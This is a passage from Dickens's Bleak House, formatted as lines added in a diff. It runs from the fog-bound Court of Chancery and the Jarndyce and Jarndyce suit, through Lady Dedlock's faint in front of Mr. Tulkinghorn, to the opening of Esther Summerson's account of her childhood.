+of barges and small boats. Fog in the eyes and throats of ancient
+Greenwich pensioners, wheezing by the firesides of their wards; fog
+in the stem and bowl of the afternoon pipe of the wrathful skipper,
+down in his close cabin; fog cruelly pinching the toes and fingers of
+his shivering little 'prentice boy on deck. Chance people on the
+bridges peeping over the parapets into a nether sky of fog, with fog
+all round them, as if they were up in a balloon and hanging in the
+misty clouds.
+
+Gas looming through the fog in divers places in the streets, much as
+the sun may, from the spongey fields, be seen to loom by husbandman
+and ploughboy. Most of the shops lighted two hours before their
+time--as the gas seems to know, for it has a haggard and unwilling
+look.
+
+The raw afternoon is rawest, and the dense fog is densest, and the
+muddy streets are muddiest near that leaden-headed old obstruction,
+appropriate ornament for the threshold of a leaden-headed old
+corporation, Temple Bar. And hard by Temple Bar, in Lincoln's Inn
+Hall, at the very heart of the fog, sits the Lord High Chancellor in
+his High Court of Chancery.
+
+Never can there come fog too thick, never can there come mud and mire
+too deep, to assort with the groping and floundering condition which
+this High Court of Chancery, most pestilent of hoary sinners, holds
+this day in the sight of heaven and earth.
+
+On such an afternoon, if ever, the Lord High Chancellor ought to be
+sitting here--as here he is--with a foggy glory round his head,
+softly fenced in with crimson cloth and curtains, addressed by a
+large advocate with great whiskers, a little voice, and an
+interminable brief, and outwardly directing his contemplation to the
+lantern in the roof, where he can see nothing but fog. On such an
+afternoon some score of members of the High Court of Chancery bar
+ought to be--as here they are--mistily engaged in one of the ten
+thousand stages of an endless cause, tripping one another up on
+slippery precedents, groping knee-deep in technicalities, running
+their goat-hair and horsehair warded heads against walls of words and
+making a pretence of equity with serious faces, as players might. On
+such an afternoon the various solicitors in the cause, some two or
+three of whom have inherited it from their fathers, who made a
+fortune by it, ought to be--as are they not?--ranged in a line, in a
+long matted well (but you might look in vain for truth at the bottom
+of it) between the registrar's red table and the silk gowns, with
+bills, cross-bills, answers, rejoinders, injunctions, affidavits,
+issues, references to masters, masters' reports, mountains of costly
+nonsense, piled before them. Well may the court be dim, with wasting
+candles here and there; well may the fog hang heavy in it, as if it
+would never get out; well may the stained-glass windows lose their
+colour and admit no light of day into the place; well may the
+uninitiated from the streets, who peep in through the glass panes in
+the door, be deterred from entrance by its owlish aspect and by the
+drawl, languidly echoing to the roof from the padded dais where the
+Lord High Chancellor looks into the lantern that has no light in it
+and where the attendant wigs are all stuck in a fog-bank! This is the
+Court of Chancery, which has its decaying houses and its blighted
+lands in every shire, which has its worn-out lunatic in every
+madhouse and its dead in every churchyard, which has its ruined
+suitor with his slipshod heels and threadbare dress borrowing and
+begging through the round of every man's acquaintance, which gives to
+monied might the means abundantly of wearying out the right, which so
+exhausts finances, patience, courage, hope, so overthrows the brain
+and breaks the heart, that there is not an honourable man among its
+practitioners who would not give--who does not often give--the
+warning, "Suffer any wrong that can be done you rather than come
+here!"
+
+Who happen to be in the Lord Chancellor's court this murky afternoon
+besides the Lord Chancellor, the counsel in the cause, two or three
+counsel who are never in any cause, and the well of solicitors before
+mentioned? There is the registrar below the judge, in wig and gown;
+and there are two or three maces, or petty-bags, or privy purses, or
+whatever they may be, in legal court suits. These are all yawning,
+for no crumb of amusement ever falls from Jarndyce and Jarndyce (the
+cause in hand), which was squeezed dry years upon years ago. The
+short-hand writers, the reporters of the court, and the reporters of
+the newspapers invariably decamp with the rest of the regulars when
+Jarndyce and Jarndyce comes on. Their places are a blank. Standing on
+a seat at the side of the hall, the better to peer into the curtained
+sanctuary, is a little mad old woman in a squeezed bonnet who is
+always in court, from its sitting to its rising, and always expecting
+some incomprehensible judgment to be given in her favour. Some say
+she really is, or was, a party to a suit, but no one knows for
+certain because no one cares. She carries some small litter in a
+reticule which she calls her documents, principally consisting of
+paper matches and dry lavender. A sallow prisoner has come up, in
+custody, for the half-dozenth time to make a personal application "to
+purge himself of his contempt," which, being a solitary surviving
+executor who has fallen into a state of conglomeration about accounts
+of which it is not pretended that he had ever any knowledge, he is
+not at all likely ever to do. In the meantime his prospects in life
+are ended. Another ruined suitor, who periodically appears from
+Shropshire and breaks out into efforts to address the Chancellor at
+the close of the day's business and who can by no means be made to
+understand that the Chancellor is legally ignorant of his existence
+after making it desolate for a quarter of a century, plants himself
+in a good place and keeps an eye on the judge, ready to call out "My
+Lord!" in a voice of sonorous complaint on the instant of his rising.
+A few lawyers' clerks and others who know this suitor by sight linger
+on the chance of his furnishing some fun and enlivening the dismal
+weather a little.
+
+Jarndyce and Jarndyce drones on. This scarecrow of a suit has, in
+course of time, become so complicated that no man alive knows what it
+means. The parties to it understand it least, but it has been
+observed that no two Chancery lawyers can talk about it for five
+minutes without coming to a total disagreement as to all the
+premises. Innumerable children have been born into the cause;
+innumerable young people have married into it; innumerable old people
+have died out of it. Scores of persons have deliriously found
+themselves made parties in Jarndyce and Jarndyce without knowing how
+or why; whole families have inherited legendary hatreds with the
+suit. The little plaintiff or defendant who was promised a new
+rocking-horse when Jarndyce and Jarndyce should be settled has grown
+up, possessed himself of a real horse, and trotted away into the
+other world. Fair wards of court have faded into mothers and
+grandmothers; a long procession of Chancellors has come in and gone
+out; the legion of bills in the suit have been transformed into mere
+bills of mortality; there are not three Jarndyces left upon the earth
+perhaps since old Tom Jarndyce in despair blew his brains out at a
+coffee-house in Chancery Lane; but Jarndyce and Jarndyce still drags
+its dreary length before the court, perennially hopeless.
+
+Jarndyce and Jarndyce has passed into a joke. That is the only good
+that has ever come of it. It has been death to many, but it is a joke
+in the profession. Every master in Chancery has had a reference out
+of it. Every Chancellor was "in it," for somebody or other, when he
+was counsel at the bar. Good things have been said about it by
+blue-nosed, bulbous-shoed old benchers in select port-wine committee
+after dinner in hall. Articled clerks have been in the habit of
+fleshing their legal wit upon it. The last Lord Chancellor handled it
+neatly, when, correcting Mr. Blowers, the eminent silk gown who said
+that such a thing might happen when the sky rained potatoes, he
+observed, "or when we get through Jarndyce and Jarndyce, Mr.
+Blowers"--a pleasantry that particularly tickled the maces, bags, and
+purses.
+
+How many people out of the suit Jarndyce and Jarndyce has stretched
+forth its unwholesome hand to spoil and corrupt would be a very wide
+question. From the master upon whose impaling files reams of dusty
+warrants in Jarndyce and Jarndyce have grimly writhed into many
+shapes, down to the copying-clerk in the Six Clerks' Office who has
+copied his tens of thousands of Chancery folio-pages under that
+eternal heading, no man's nature has been made better by it. In
+trickery, evasion, procrastination, spoliation, botheration, under
+false pretences of all sorts, there are influences that can never
+come to good. The very solicitors' boys who have kept the wretched
+suitors at bay, by protesting time out of mind that Mr. Chizzle,
+Mizzle, or otherwise was particularly engaged and had appointments
+until dinner, may have got an extra moral twist and shuffle into
+themselves out of Jarndyce and Jarndyce. The receiver in the cause
+has acquired a goodly sum of money by it but has acquired too a
+distrust of his own mother and a contempt for his own kind. Chizzle,
+Mizzle, and otherwise have lapsed into a habit of vaguely promising
+themselves that they will look into that outstanding little matter
+and see what can be done for Drizzle--who was not well used--when
+Jarndyce and Jarndyce shall be got out of the office. Shirking and
+sharking in all their many varieties have been sown broadcast by the
+ill-fated cause; and even those who have contemplated its history
+from the outermost circle of such evil have been insensibly tempted
+into a loose way of letting bad things alone to take their own bad
+course, and a loose belief that if the world go wrong it was in some
+off-hand manner never meant to go right.
+
+Thus, in the midst of the mud and at the heart of the fog, sits the
+Lord High Chancellor in his High Court of Chancery.
+
+"Mr. Tangle," says the Lord High Chancellor, latterly something
+restless under the eloquence of that learned gentleman.
+
+"Mlud," says Mr. Tangle. Mr. Tangle knows more of Jarndyce and
+Jarndyce than anybody. He is famous for it--supposed never to have
+read anything else since he left school.
+
+"Have you nearly concluded your argument?"
+
+"Mlud, no--variety of points--feel it my duty tsubmit--ludship," is
+the reply that slides out of Mr. Tangle.
+
+"Several members of the bar are still to be heard, I believe?" says
+the Chancellor with a slight smile.
+
+Eighteen of Mr. Tangle's learned friends, each armed with a little
+summary of eighteen hundred sheets, bob up like eighteen hammers in a
+pianoforte, make eighteen bows, and drop into their eighteen places
+of obscurity.
+
+"We will proceed with the hearing on Wednesday fortnight," says the
+Chancellor. For the question at issue is only a question of costs, a
+mere bud on the forest tree of the parent suit, and really will come
+to a settlement one of these days.
+
+The Chancellor rises; the bar rises; the prisoner is brought forward
+in a hurry; the man from Shropshire cries, "My lord!" Maces, bags,
+and purses indignantly proclaim silence and frown at the man from
+Shropshire.
+
+"In reference," proceeds the Chancellor, still on Jarndyce and
+Jarndyce, "to the young girl--"
+
+"Begludship's pardon--boy," says Mr. Tangle prematurely. "In
+reference," proceeds the Chancellor with extra distinctness, "to the
+young girl and boy, the two young people"--Mr. Tangle crushed--"whom
+I directed to be in attendance to-day and who are now in my private
+room, I will see them and satisfy myself as to the expediency of
+making the order for their residing with their uncle."
+
+Mr. Tangle on his legs again. "Begludship's pardon--dead."
+
+"With their"--Chancellor looking through his double eye-glass at the
+papers on his desk--"grandfather."
+
+"Begludship's pardon--victim of rash action--brains."
+
+Suddenly a very little counsel with a terrific bass voice arises,
+fully inflated, in the back settlements of the fog, and says, "Will
+your lordship allow me? I appear for him. He is a cousin, several
+times removed. I am not at the moment prepared to inform the court in
+what exact remove he is a cousin, but he IS a cousin."
+
+Leaving this address (delivered like a sepulchral message) ringing in
+the rafters of the roof, the very little counsel drops, and the fog
+knows him no more. Everybody looks for him. Nobody can see him.
+
+"I will speak with both the young people," says the Chancellor anew,
+"and satisfy myself on the subject of their residing with their
+cousin. I will mention the matter to-morrow morning when I take my
+seat."
+
+The Chancellor is about to bow to the bar when the prisoner is
+presented. Nothing can possibly come of the prisoner's conglomeration
+but his being sent back to prison, which is soon done. The man from
+Shropshire ventures another remonstrative "My lord!" but the
+Chancellor, being aware of him, has dexterously vanished. Everybody
+else quickly vanishes too. A battery of blue bags is loaded with
+heavy charges of papers and carried off by clerks; the little mad old
+woman marches off with her documents; the empty court is locked up.
+If all the injustice it has committed and all the misery it has
+caused could only be locked up with it, and the whole burnt away in a
+great funeral pyre--why so much the better for other parties than the
+parties in Jarndyce and Jarndyce!
+
+
+
+
+CHAPTER II
+
+In Fashion
+
+
+It is but a glimpse of the world of fashion that we want on this same
+miry afternoon. It is not so unlike the Court of Chancery but that we
+may pass from the one scene to the other, as the crow flies. Both the
+world of fashion and the Court of Chancery are things of precedent
+and usage: oversleeping Rip Van Winkles who have played at strange
+games through a deal of thundery weather; sleeping beauties whom the
+knight will wake one day, when all the stopped spits in the kitchen
+shall begin to turn prodigiously!
+
+It is not a large world. Relatively even to this world of ours, which
+has its limits too (as your Highness shall find when you have made
+the tour of it and are come to the brink of the void beyond), it is a
+very little speck. There is much good in it; there are many good and
+true people in it; it has its appointed place. But the evil of it is
+that it is a world wrapped up in too much jeweller's cotton and fine
+wool, and cannot hear the rushing of the larger worlds, and cannot
+see them as they circle round the sun. It is a deadened world, and
+its growth is sometimes unhealthy for want of air.
+
+My Lady Dedlock has returned to her house in town for a few days
+previous to her departure for Paris, where her ladyship intends to
+stay some weeks, after which her movements are uncertain. The
+fashionable intelligence says so for the comfort of the Parisians,
+and it knows all fashionable things. To know things otherwise were to
+be unfashionable. My Lady Dedlock has been down at what she calls, in
+familiar conversation, her "place" in Lincolnshire. The waters are
+out in Lincolnshire. An arch of the bridge in the park has been
+sapped and sopped away. The adjacent low-lying ground for half a mile
+in breadth is a stagnant river with melancholy trees for islands in
+it and a surface punctured all over, all day long, with falling rain.
+My Lady Dedlock's place has been extremely dreary. The weather for
+many a day and night has been so wet that the trees seem wet through,
+and the soft loppings and prunings of the woodman's axe can make no
+crash or crackle as they fall. The deer, looking soaked, leave
+quagmires where they pass. The shot of a rifle loses its sharpness in
+the moist air, and its smoke moves in a tardy little cloud towards
+the green rise, coppice-topped, that makes a background for the
+falling rain. The view from my Lady Dedlock's own windows is
+alternately a lead-coloured view and a view in Indian ink. The vases
+on the stone terrace in the foreground catch the rain all day; and
+the heavy drops fall--drip, drip, drip--upon the broad flagged
+pavement, called from old time the Ghost's Walk, all night. On
+Sundays the little church in the park is mouldy; the oaken pulpit
+breaks out into a cold sweat; and there is a general smell and taste
+as of the ancient Dedlocks in their graves. My Lady Dedlock (who is
+childless), looking out in the early twilight from her boudoir at a
+keeper's lodge and seeing the light of a fire upon the latticed
+panes, and smoke rising from the chimney, and a child, chased by a
+woman, running out into the rain to meet the shining figure of a
+wrapped-up man coming through the gate, has been put quite out of
+temper. My Lady Dedlock says she has been "bored to death."
+
+Therefore my Lady Dedlock has come away from the place in
+Lincolnshire and has left it to the rain, and the crows, and the
+rabbits, and the deer, and the partridges and pheasants. The pictures
+of the Dedlocks past and gone have seemed to vanish into the damp
+walls in mere lowness of spirits, as the housekeeper has passed along
+the old rooms shutting up the shutters. And when they will next come
+forth again, the fashionable intelligence--which, like the fiend, is
+omniscient of the past and present, but not the future--cannot yet
+undertake to say.
+
+Sir Leicester Dedlock is only a baronet, but there is no mightier
+baronet than he. His family is as old as the hills, and infinitely
+more respectable. He has a general opinion that the world might get
+on without hills but would be done up without Dedlocks. He would on
+the whole admit nature to be a good idea (a little low, perhaps, when
+not enclosed with a park-fence), but an idea dependent for its
+execution on your great county families. He is a gentleman of strict
+conscience, disdainful of all littleness and meanness and ready on
+the shortest notice to die any death you may please to mention rather
+than give occasion for the least impeachment of his integrity. He is
+an honourable, obstinate, truthful, high-spirited, intensely
+prejudiced, perfectly unreasonable man.
+
+Sir Leicester is twenty years, full measure, older than my Lady. He
+will never see sixty-five again, nor perhaps sixty-six, nor yet
+sixty-seven. He has a twist of the gout now and then and walks a
+little stiffly. He is of a worthy presence, with his light-grey hair
+and whiskers, his fine shirt-frill, his pure-white waistcoat, and his
+blue coat with bright buttons always buttoned. He is ceremonious,
+stately, most polite on every occasion to my Lady, and holds her
+personal attractions in the highest estimation. His gallantry to my
+Lady, which has never changed since he courted her, is the one little
+touch of romantic fancy in him.
+
+Indeed, he married her for love. A whisper still goes about that she
+had not even family; howbeit, Sir Leicester had so much family that
+perhaps he had enough and could dispense with any more. But she had
+beauty, pride, ambition, insolent resolve, and sense enough to
+portion out a legion of fine ladies. Wealth and station, added to
+these, soon floated her upward, and for years now my Lady Dedlock has
+been at the centre of the fashionable intelligence and at the top of
+the fashionable tree.
+
+How Alexander wept when he had no more worlds to conquer, everybody
+knows--or has some reason to know by this time, the matter having
+been rather frequently mentioned. My Lady Dedlock, having conquered
+HER world, fell not into the melting, but rather into the freezing,
+mood. An exhausted composure, a worn-out placidity, an equanimity of
+fatigue not to be ruffled by interest or satisfaction, are the
+trophies of her victory. She is perfectly well-bred. If she could be
+translated to heaven to-morrow, she might be expected to ascend
+without any rapture.
+
+She has beauty still, and if it be not in its heyday, it is not yet
+in its autumn. She has a fine face--originally of a character that
+would be rather called very pretty than handsome, but improved into
+classicality by the acquired expression of her fashionable state. Her
+figure is elegant and has the effect of being tall. Not that she is
+so, but that "the most is made," as the Honourable Bob Stables has
+frequently asserted upon oath, "of all her points." The same
+authority observes that she is perfectly got up and remarks in
+commendation of her hair especially that she is the best-groomed
+woman in the whole stud.
+
+With all her perfections on her head, my Lady Dedlock has come up
+from her place in Lincolnshire (hotly pursued by the fashionable
+intelligence) to pass a few days at her house in town previous to her
+departure for Paris, where her ladyship intends to stay some weeks,
+after which her movements are uncertain. And at her house in town,
+upon this muddy, murky afternoon, presents himself an old-fashioned
+old gentleman, attorney-at-law and eke solicitor of the High Court of
+Chancery, who has the honour of acting as legal adviser of the
+Dedlocks and has as many cast-iron boxes in his office with that name
+outside as if the present baronet were the coin of the conjuror's
+trick and were constantly being juggled through the whole set. Across
+the hall, and up the stairs, and along the passages, and through the
+rooms, which are very brilliant in the season and very dismal out of
+it--fairy-land to visit, but a desert to live in--the old gentleman
+is conducted by a Mercury in powder to my Lady's presence.
+
+The old gentleman is rusty to look at, but is reputed to have made
+good thrift out of aristocratic marriage settlements and aristocratic
+wills, and to be very rich. He is surrounded by a mysterious halo of
+family confidences, of which he is known to be the silent depository.
+There are noble mausoleums rooted for centuries in retired glades of
+parks among the growing timber and the fern, which perhaps hold fewer
+noble secrets than walk abroad among men, shut up in the breast of
+Mr. Tulkinghorn. He is of what is called the old school--a phrase
+generally meaning any school that seems never to have been young--and
+wears knee-breeches tied with ribbons, and gaiters or stockings. One
+peculiarity of his black clothes and of his black stockings, be they
+silk or worsted, is that they never shine. Mute, close, irresponsive
+to any glancing light, his dress is like himself. He never converses
+when not professionally consulted. He is found sometimes, speechless
+but quite at home, at corners of dinner-tables in great country
+houses and near doors of drawing-rooms, concerning which the
+fashionable intelligence is eloquent, where everybody knows him and
+where half the Peerage stops to say "How do you do, Mr. Tulkinghorn?"
+He receives these salutations with gravity and buries them along with
+the rest of his knowledge.
+
+Sir Leicester Dedlock is with my Lady and is happy to see Mr.
+Tulkinghorn. There is an air of prescription about him which is
+always agreeable to Sir Leicester; he receives it as a kind of
+tribute. He likes Mr. Tulkinghorn's dress; there is a kind of tribute
+in that too. It is eminently respectable, and likewise, in a general
+way, retainer-like. It expresses, as it were, the steward of the
+legal mysteries, the butler of the legal cellar, of the Dedlocks.
+
+Has Mr. Tulkinghorn any idea of this himself? It may be so, or it may
+not, but there is this remarkable circumstance to be noted in
+everything associated with my Lady Dedlock as one of a class--as one
+of the leaders and representatives of her little world. She supposes
+herself to be an inscrutable Being, quite out of the reach and ken of
+ordinary mortals--seeing herself in her glass, where indeed she looks
+so. Yet every dim little star revolving about her, from her maid to
+the manager of the Italian Opera, knows her weaknesses, prejudices,
+follies, haughtinesses, and caprices and lives upon as accurate a
+calculation and as nice a measure of her moral nature as her
+dressmaker takes of her physical proportions. Is a new dress, a new
+custom, a new singer, a new dancer, a new form of jewellery, a new
+dwarf or giant, a new chapel, a new anything, to be set up? There are
+deferential people in a dozen callings whom my Lady Dedlock suspects
+of nothing but prostration before her, who can tell you how to manage
+her as if she were a baby, who do nothing but nurse her all their
+lives, who, humbly affecting to follow with profound subservience,
+lead her and her whole troop after them; who, in hooking one, hook
+all and bear them off as Lemuel Gulliver bore away the stately fleet
+of the majestic Lilliput. "If you want to address our people, sir,"
+say Blaze and Sparkle, the jewellers--meaning by our people Lady
+Dedlock and the rest--"you must remember that you are not dealing
+with the general public; you must hit our people in their weakest
+place, and their weakest place is such a place." "To make this
+article go down, gentlemen," say Sheen and Gloss, the mercers, to
+their friends the manufacturers, "you must come to us, because we
+know where to have the fashionable people, and we can make it
+fashionable." "If you want to get this print upon the tables of my
+high connexion, sir," says Mr. Sladdery, the librarian, "or if you
+want to get this dwarf or giant into the houses of my high connexion,
+sir, or if you want to secure to this entertainment the patronage of
+my high connexion, sir, you must leave it, if you please, to me, for
+I have been accustomed to study the leaders of my high connexion,
+sir, and I may tell you without vanity that I can turn them round my
+finger"--in which Mr. Sladdery, who is an honest man, does not
+exaggerate at all.
+
+Therefore, while Mr. Tulkinghorn may not know what is passing in the
+Dedlock mind at present, it is very possible that he may.
+
+"My Lady's cause has been again before the Chancellor, has it, Mr.
+Tulkinghorn?" says Sir Leicester, giving him his hand.
+
+"Yes. It has been on again to-day," Mr. Tulkinghorn replies, making
+one of his quiet bows to my Lady, who is on a sofa near the fire,
+shading her face with a hand-screen.
+
+"It would be useless to ask," says my Lady with the dreariness of the
+place in Lincolnshire still upon her, "whether anything has been
+done."
+
+"Nothing that YOU would call anything has been done to-day," replies
+Mr. Tulkinghorn.
+
+"Nor ever will be," says my Lady.
+
+Sir Leicester has no objection to an interminable Chancery suit. It
+is a slow, expensive, British, constitutional kind of thing. To be
+sure, he has not a vital interest in the suit in question, her part
+in which was the only property my Lady brought him; and he has a
+shadowy impression that for his name--the name of Dedlock--to be in a
+cause, and not in the title of that cause, is a most ridiculous
+accident. But he regards the Court of Chancery, even if it should
+involve an occasional delay of justice and a trifling amount of
+confusion, as a something devised in conjunction with a variety of
+other somethings by the perfection of human wisdom for the eternal
+settlement (humanly speaking) of everything. And he is upon the whole
+of a fixed opinion that to give the sanction of his countenance to
+any complaints respecting it would be to encourage some person in the
+lower classes to rise up somewhere--like Wat Tyler.
+
+"As a few fresh affidavits have been put upon the file," says Mr.
+Tulkinghorn, "and as they are short, and as I proceed upon the
+troublesome principle of begging leave to possess my clients with any
+new proceedings in a cause"--cautious man Mr. Tulkinghorn, taking no
+more responsibility than necessary--"and further, as I see you are
+going to Paris, I have brought them in my pocket."
+
+(Sir Leicester was going to Paris too, by the by, but the delight of
+the fashionable intelligence was in his Lady.)
+
+Mr. Tulkinghorn takes out his papers, asks permission to place them
+on a golden talisman of a table at my Lady's elbow, puts on his
+spectacles, and begins to read by the light of a shaded lamp.
+
+"'In Chancery. Between John Jarndyce--'"
+
+My Lady interrupts, requesting him to miss as many of the formal
+horrors as he can.
+
+Mr. Tulkinghorn glances over his spectacles and begins again lower
+down. My Lady carelessly and scornfully abstracts her attention. Sir
+Leicester in a great chair looks at the file and appears to have a
+stately liking for the legal repetitions and prolixities as ranging
+among the national bulwarks. It happens that the fire is hot where my
+Lady sits and that the hand-screen is more beautiful than useful,
+being priceless but small. My Lady, changing her position, sees the
+papers on the table--looks at them nearer--looks at them nearer
+still--asks impulsively, "Who copied that?"
+
+Mr. Tulkinghorn stops short, surprised by my Lady's animation and her
+unusual tone.
+
+"Is it what you people call law-hand?" she asks, looking full at him
+in her careless way again and toying with her screen.
+
+"Not quite. Probably"--Mr. Tulkinghorn examines it as he speaks--"the
+legal character which it has was acquired after the original hand was
+formed. Why do you ask?"
+
+"Anything to vary this detestable monotony. Oh, go on, do!"
+
+Mr. Tulkinghorn reads again. The heat is greater; my Lady screens her
+face. Sir Leicester dozes, starts up suddenly, and cries, "Eh? What
+do you say?"
+
+"I say I am afraid," says Mr. Tulkinghorn, who had risen hastily,
+"that Lady Dedlock is ill."
+
+"Faint," my Lady murmurs with white lips, "only that; but it is like
+the faintness of death. Don't speak to me. Ring, and take me to my
+room!"
+
+Mr. Tulkinghorn retires into another chamber; bells ring, feet
+shuffle and patter, silence ensues. Mercury at last begs Mr.
+Tulkinghorn to return.
+
+"Better now," quoth Sir Leicester, motioning the lawyer to sit down
+and read to him alone. "I have been quite alarmed. I never knew my
+Lady swoon before. But the weather is extremely trying, and she
+really has been bored to death down at our place in Lincolnshire."
+
+
+
+
+CHAPTER III
+
+A Progress
+
+
+I have a great deal of difficulty in beginning to write my portion of
+these pages, for I know I am not clever. I always knew that. I can
+remember, when I was a very little girl indeed, I used to say to my
+doll when we were alone together, "Now, Dolly, I am not clever, you
+know very well, and you must be patient with me, like a dear!" And so
+she used to sit propped up in a great arm-chair, with her beautiful
+complexion and rosy lips, staring at me--or not so much at me, I
+think, as at nothing--while I busily stitched away and told her every
+one of my secrets.
+
+My dear old doll! I was such a shy little thing that I seldom dared
+to open my lips, and never dared to open my heart, to anybody else.
+It almost makes me cry to think what a relief it used to be to me
+when I came home from school of a day to run upstairs to my room and
+say, "Oh, you dear faithful Dolly, I knew you would be expecting me!"
+and then to sit down on the floor, leaning on the elbow of her great
+chair, and tell her all I had noticed since we parted. I had always
+rather a noticing way--not a quick way, oh, no!--a silent way of
+noticing what passed before me and thinking I should like to
+understand it better. I have not by any means a quick understanding.
+When I love a person very tenderly indeed, it seems to brighten. But
+even that may be my vanity.
+
+I was brought up, from my earliest remembrance--like some of the
+princesses in the fairy stories, only I was not charming--by my
+godmother. At least, I only knew her as such. She was a good, good
+woman! She went to church three times every Sunday, and to morning
+prayers on Wednesdays and Fridays, and to lectures whenever there
+were lectures; and never missed. She was handsome; and if she had
+ever smiled, would have been (I used to think) like an angel--but she
+never smiled. She was always grave and strict. She was so very good
+herself, I thought, that the badness of other people made her frown
+all her life. I felt so different from her, even making every
+allowance for the differences between a child and a woman; I felt so
+poor, so trifling, and so far off that I never could be unrestrained
+with her--no, could never even love her as I wished. It made me very
+sorry to consider how good she was and how unworthy of her I was, and
+I used ardently to hope that I might have a better heart; and I
+talked it over very often with the dear old doll, but I never loved
+my godmother as I ought to have loved her and as I felt I must have
+loved her if I had been a better girl.
+
+This made me, I dare say, more timid and retiring than I naturally
+was and cast me upon Dolly as the only friend with whom I felt at
+ease. But something happened when I was still quite a little thing
+that helped it very much.
+
+I had never heard my mama spoken of. I had never heard of my papa
+either, but I felt more interested about my mama. I had never worn a
+black frock, that I could recollect. I had never been shown my mama's
+grave. I had never been told where it was. Yet I had never been
+taught to pray for any relation but my godmother. I had more than
+once approached this subject of my thoughts with Mrs. Rachael, our
+only servant, who took my light away when I was in bed (another very
+good woman, but austere to me), and she had only said, "Esther, good
+night!" and gone away and left me.
+
+Although there were seven girls at the neighbouring school where I
+was a day boarder, and although they called me little Esther
+Summerson, I knew none of them at home. All of them were older than
+I, to be sure (I was the youngest there by a good deal), but there
+seemed to be some other separation between us besides that, and
+besides their being far more clever than I was and knowing much more
+than I did. One of them in the first week of my going to the school
+(I remember it very well) invited me home to a little party, to my
+great joy. But my godmother wrote a stiff letter declining for me,
+and I never went. I never went out at all.
+
+It was my birthday. There were holidays at school on other
+birthdays--none on mine. There were rejoicings at home on other
+birthdays, as I knew from what I heard the girls relate to one
+another--there were none on mine. My birthday was the most melancholy
+day at home in the whole year.
+
+I have mentioned that unless my vanity should deceive me (as I know
+it may, for I may be very vain without suspecting it, though indeed I
+don't), my comprehension is quickened when my affection is. My
+disposition is very affectionate, and perhaps I might still feel such
+a wound if such a wound could be received more than once with the
+quickness of that birthday.
+
+Dinner was over, and my godmother and I were sitting at the table
+before the fire. The clock ticked, the fire clicked; not another
+sound had been heard in the room or in the house for I don't know how
+long. I happened to look timidly up from my stitching, across the
+table at my godmother, and I saw in her face, looking gloomily at me,
+"It would have been far better, little Esther, that you had had no
+birthday, that you had never been born!"
+
+I broke out crying and sobbing, and I said, "Oh, dear godmother, tell
+me, pray do tell me, did Mama die on my birthday?"
+
+"No," she returned. "Ask me no more, child!"
+
+"Oh, do pray tell me something of her. Do now, at last, dear
+godmother, if you please! What did I do to her? How did I lose her?
+Why am I so different from other children, and why is it my fault,
+dear godmother? No, no, no, don't go away. Oh, speak to me!"
+
+I was in a kind of fright beyond my grief, and I caught hold of her
+dress and was kneeling to her. She had been saying all the while,
+"Let me go!" But now she stood still.
+
+Her darkened face had such power over me that it stopped me in the
+midst of my vehemence. I put up my trembling little hand to clasp
+hers or to beg her pardon with what earnestness I might, but withdrew
+it as she looked at me, and laid it on my fluttering heart. She
+raised me, sat in her chair, and standing me before her, said slowly
+in a cold, low voice--I see her knitted brow and pointed
+finger--"Your mother, Esther, is your disgrace, and you were hers.
+The time will come--and soon enough--when you will understand this
+better and will feel it too, as no one save a woman can. I have
+forgiven her"--but her face did not relent--"the wrong she did to me,
+and I say no more of it, though it was greater than you will ever
+know--than any one will ever know but I, the sufferer. For yourself,
+unfortunate girl, orphaned and degraded from the first of these evil
+anniversaries, pray daily that the sins of others be not visited upon
+your head, according to what is written. Forget your mother and leave
+all other people to forget her who will do her unhappy child that
+greatest kindness. Now, go!"
+
+She checked me, however, as I was about to depart from her--so frozen
+as I was!--and added this, "Submission, self-denial, diligent work,
+are the preparations for a life begun with such a shadow on it. You
+are different from other children, Esther, because you were not born,
+like them, in common sinfulness and wrath. You are set apart."
+
+I went up to my room, and crept to bed, and laid my doll's cheek
+against mine wet with tears, and holding that solitary friend upon my
+bosom, cried myself to sleep. Imperfect as my understanding of my
+sorrow was, I knew that I had brought no joy at any time to anybody's
+heart and that I was to no one upon earth what Dolly was to me.
+
+Dear, dear, to think how much time we passed alone together
+afterwards, and how often I repeated to the doll the story of my
+birthday and confided to her that I would try as hard as ever I could
+to repair the fault I had been born with (of which I confessedly felt
+guilty and yet innocent) and would strive as I grew up to be
+industrious, contented, and kind-hearted and to do some good to some
+one, and win some love to myself if I could. I hope it is not
+self-indulgent to shed these tears as I think of it. I am very
+thankful, I am very cheerful, but I cannot quite help their coming to
+my eyes.
+
+There! I have wiped them away now and can go on again properly.
+
+I felt the distance between my godmother and myself so much more
+after the birthday, and felt so sensible of filling a place in her
+house which ought to have been empty, that I found her more difficult
+of approach, though I was fervently grateful to her in my heart, than
+ever. I felt in the same way towards my school companions; I felt in
+the same way towards Mrs. Rachael, who was a widow; and oh, towards
+her daughter, of whom she was proud, who came to see her once a
+fortnight! I was very retired and quiet, and tried to be very
+diligent.
+
+One sunny afternoon when I had come home from school with my books
+and portfolio, watching my long shadow at my side, and as I was
+gliding upstairs to my room as usual, my godmother looked out of the
+parlour-door and called me back. Sitting with her, I found--which was
+very unusual indeed--a stranger. A portly, important-looking
+gentleman, dressed all in black, with a white cravat, large gold
+watch seals, a pair of gold eye-glasses, and a large seal-ring upon
+his little finger.
+
+"This," said my godmother in an undertone, "is the child." Then she
+said in her naturally stern way of speaking, "This is Esther, sir."
+
+The gentleman put up his eye-glasses to look at me and said, "Come
+here, my dear!" He shook hands with me and asked me to take off my
+bonnet, looking at me all the while. When I had complied, he said,
+"Ah!" and afterwards "Yes!" And then, taking off his eye-glasses and
+folding them in a red case, and leaning back in his arm-chair,
+turning the case about in his two hands, he gave my godmother a nod.
+Upon that, my godmother said, "You may go upstairs, Esther!" And I
+made him my curtsy and left him.
+
+It must have been two years afterwards, and I was almost fourteen,
+when one dreadful night my godmother and I sat at the fireside. I was
+reading aloud, and she was listening. I had come down at nine o'clock
+as I always did to read the Bible to her, and was reading from St.
+John how our Saviour stooped down, writing with his finger in the
+dust, when they brought the sinful woman to him.
+
+"So when they continued asking him, he lifted up himself and said
+unto them, 'He that is without sin among you, let him first cast a
+stone at her!'"
+
+I was stopped by my godmother's rising, putting her hand to her head,
+and crying out in an awful voice from quite another part of the book,
+"'Watch ye, therefore, lest coming suddenly he find you sleeping. And
+what I say unto you, I say unto all, Watch!'"
+
+In an instant, while she stood before me repeating these words, she
+fell down on the floor. I had no need to cry out; her voice had
+sounded through the house and been heard in the street.
+
+She was laid upon her bed. For more than a week she lay there, little
+altered outwardly, with her old handsome resolute frown that I so
